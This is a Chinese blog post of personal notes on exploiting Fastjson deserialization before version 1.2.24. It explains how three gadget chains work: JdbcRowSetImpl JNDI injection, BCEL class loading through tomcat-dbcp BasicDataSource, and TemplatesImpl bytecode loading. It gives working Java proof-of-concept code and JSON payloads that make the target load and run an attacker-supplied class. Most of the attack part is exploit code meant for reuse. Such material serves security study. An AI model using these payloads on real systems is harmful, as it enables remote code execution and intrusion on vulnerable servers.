fastjson绕过-1

0x00前言

本篇介绍的是fastjson1.2.24之前的利用
Fastjson的序列化和反序列化不是java原生的反序列化,这点我在学fastjson的原理的时候就知道了,大概有下列一些不同。

  • 变量不需要没有 transient关键字,解释一下吧
  • 一旦变量被transient修饰,变量将不再是对象持久化的一部分,该变量内容在序列化后无法获得访问
  • 不需要实现的Serilizable
  • 我们操控的变量需要有对应的getter,和stter,所以就跟常规的不同的就是我们不需要readobject,但是应该也是可以利用的

0x01Fastjson调JNDI注入

这个漏洞了,有版本和依赖的限制,因为JNDI是被java版本本身限制的,是在191以前是可以使用的,然后也需要JNDI这个依赖把

它利用的流程说一下吧

image-20230107173028459

是在jdbcRowSetlmpl这个类的connect的方法中调用了这个标准的JNDI

Context ctx = new InitialContext();
                DataSource ds = (DataSource)ctx.lookup
                    (getDataSourceName());

就是这个lookup方法lookup后面的方法就不去再说了就是类加载然后导致的代码执行嘛

我要造成利用的话就得控制一个方法叫做就是lookup

的参数getDataSourceName()

走上来我们要控制的是dataSource

image-20230107173444822

找上来就找到了一个对应的set方法

image-20230107173636329

这儿就是比较标准的set方法我们控制的方法也很简单就这样的格式

{“/ JDNI的地址”/}

然后等于恶意方法就已经找到了,但是我们还没调用,意思就是我现在找到链尾就这个setDataSourceName+lookup,我们现在要回到去找链子的前面的部分

image-20230107174638407

有两个调用了connect()方法,而且还是分别还是get和set放,这里就可以完成利用了,这里用的是set方法,为啥用et呢,就简单解释一下吧,就parseObject这个方法,上篇笔记也有,就是说它是先把set调用完,然后去调用JSON.toJSON然后调用get方法,为啥前面只调用了set方法呢,就是它那个逻辑是通过set去构建一个bean,就是在JavaBeanInfo那个类里面的逻辑image-20230107175650342

利用方法:

public class Demo {
    public static void main(String[] args) {
        String JSONstring="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8088/MLgWxhdi\",\"autoCommit\":\"0\"}";
        JSON.parseObject(JSONstring);
    }
}

稍微记录一下payload的构成吧,首先是我们要反序列化的是JdbcRowSetImpl调用是这个类吧,然后我们看后面那个参数中间那个最后再看

image-20230107183658641

就是我们调用的那个方法setAutoCommit,它也是在这个类里面的所以直接调用它的set方法,然后我们没对conn进行传值那么它就一定hi掉到connect(),看DataSourceName这个参数
image-20230107184041205

这里的set先前也提过了,就是可控嘛又是public可以直接调用嘛

所以利用和原理都蛮简单的,

setDataSourceName-----设置参数
setAutoCommit()---调用到connect
顺序也是这样需要先设置参数然后再调用

感觉自己啰里啰嗦的,记个笔记有些思考就顺便写下来了

0x02Fsatjson调用本地恶意类加载(不出网利用)

这个利用的主要是本地不出网的情况下利用

这里先补充一个东西就是那些get和set方法会去调用,是要满足一定的命名方式

setter:
非静态函数
返回类型为void或当前类
参数个数为1个

getter:
非静态方法
无参数
返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

漏洞是存在在这个包下的classloader

image-20230107191915509

image-20230107192503535

问题出在这个类,就是说如果类名是"$$BCEL$$"这个开头的那么就会creatClass然后defineClass,创建一个类然后加载它

我们实际使用一下

public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, IOException {
        ClassLoader classLoader = new ClassLoader();
        byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\White_room\\Desktop\\java\\fastjson\\fastjsondemo1\\target\\classes\\shell.class"));
        String code = Utility.encode(bytes,true);
        classLoader.loadClass("$$BCEL$$"+code).newInstance();
    }

这样就会调用出我们的计算器,那个类是我写就是一个简单的弹计算器的类,证明这个方法就是个危险方法找调用,这里的调用呢这个方法也比较重要,它是属于Tomcat的一个包里面的一个方法,觉得这个方法还蛮有意思的

<groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-dbcp</artifactId>
            <version>9.0.20</version>

是个怎么样的方法呢,我们看一下

image-20230107204903925

这个方法就如果我们传入的driverClassLoader不为空的话我们就会去调用我们传入的classloader去加载我们的传入的 classname,这里的话就可以满足调用了,我们上面说的就是,用那个类加载器去加载我们固定了index的类,然后这里的话我就看一下这里的参数我们能不能控制

image-20230107205726955

image-20230107205737900

分别找到了set方法,这样的会找到了利用方式了,然后的话就是继续往上找有没有get方法调用了createConnectionFactory()

记录一下找到流程不长其实蛮短的

image-20230107210615210

到createDataSource()image-20230107210609058

继续往上找

image-20230107210743078

有几个其中getConnection进去之后

image-20230107210953321

这里机会调到我们的createDataSource()方法了,这样payload就很好写了

 public static void main(String[] args) throws IOException {
        ClassLoader classLoader = new ClassLoader();
        byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\White_room\\Desktop\\java\\fastjson\\fastjsondemo1\\target\\classes\\shell.class"));
        String code = Utility.encode(bytes,true);
        String JSONstring="{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\" $$BCEL$$" +code+"\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
        JSON.parseObject(JSONstring);
    }

利用流程就是上面说的那些,有一点我不是分析了一个getConnection嘛,为什么没去调用就利用了呢,因为它是属于我们org.apache.tomcat.dbcp.dbcp2.BasicDataSource这个类的一个get方法,它是会去自己调用的就是parseObject去tojson的时候就是会调用所有get方法,因为要把对象输出出来就得调用这些属性的get方法来获取然后输出。

0x03Fastjson和 TemplatesImpl链

这个链子其实实战应该用的不多,因为它有个前置条件就是需要开启一个配置,还是简单看一下吧,直接看我以前的笔记有一个方法叫做

image-20230108104951081然后把这个方法就发现了get方法,然后顺着从这里下去,回去调用一个defineTransletClassses,然后这里的触发条件是

_name` 不可以为 null,需要 `_class` 为 null,这样进入到 `defineTransletClasses` 这个方法里面。所以 `_class` 可以不用写,或者写为 null。`_tfactory` 也不能为 null

但是这里,它的get是Translet不满足我们需要的条件,只能看上面还有没有调用了,它的前面有一个叫newTransformer的方法然后就再往上走就是我们的目标类

image-20230108110807276

这个Properties是继承Map

利用流程就确定了

  1. getOutputProperties
  2. newTransformer
  3. TransformerImpl

poc

class Demo4{
    //抄了工具类,用来把类文件读取出来,读成String
    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
    }

    public static void main(String args[]){
        try {
            ParserConfig config = new ParserConfig();
            final String evilClassPath = "C:\\Users\\White_room\\Desktop\\java\\fastjson\\fastjsondemo1\\target\\classes\\shell.class";
            String evilCode = readClass(evilClassPath);
            String text1 = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'Drunkbaby','_tfactory':{ },\"_outputProperties\":{ },";
            System.out.println(text1);
            JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

这里要引入cc依赖才能执行,

JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
这个就是我们需要开启的配置

0x04小结

这些都是在fastjoson1.2.24前的利用,能造成利用的就是因为,没有对我传入的对象进行过滤可以解析任意类型的对象都会调到get,set,然后再1.2.25之后就是有另外的利用了,另外fastjson的反序列化特点这是需要仔细的去判断的区分好和普通的反序列化的区别

posted @ 2023-01-08 20:46  不成大哥不改名  阅读(193)  评论(0编辑  收藏  举报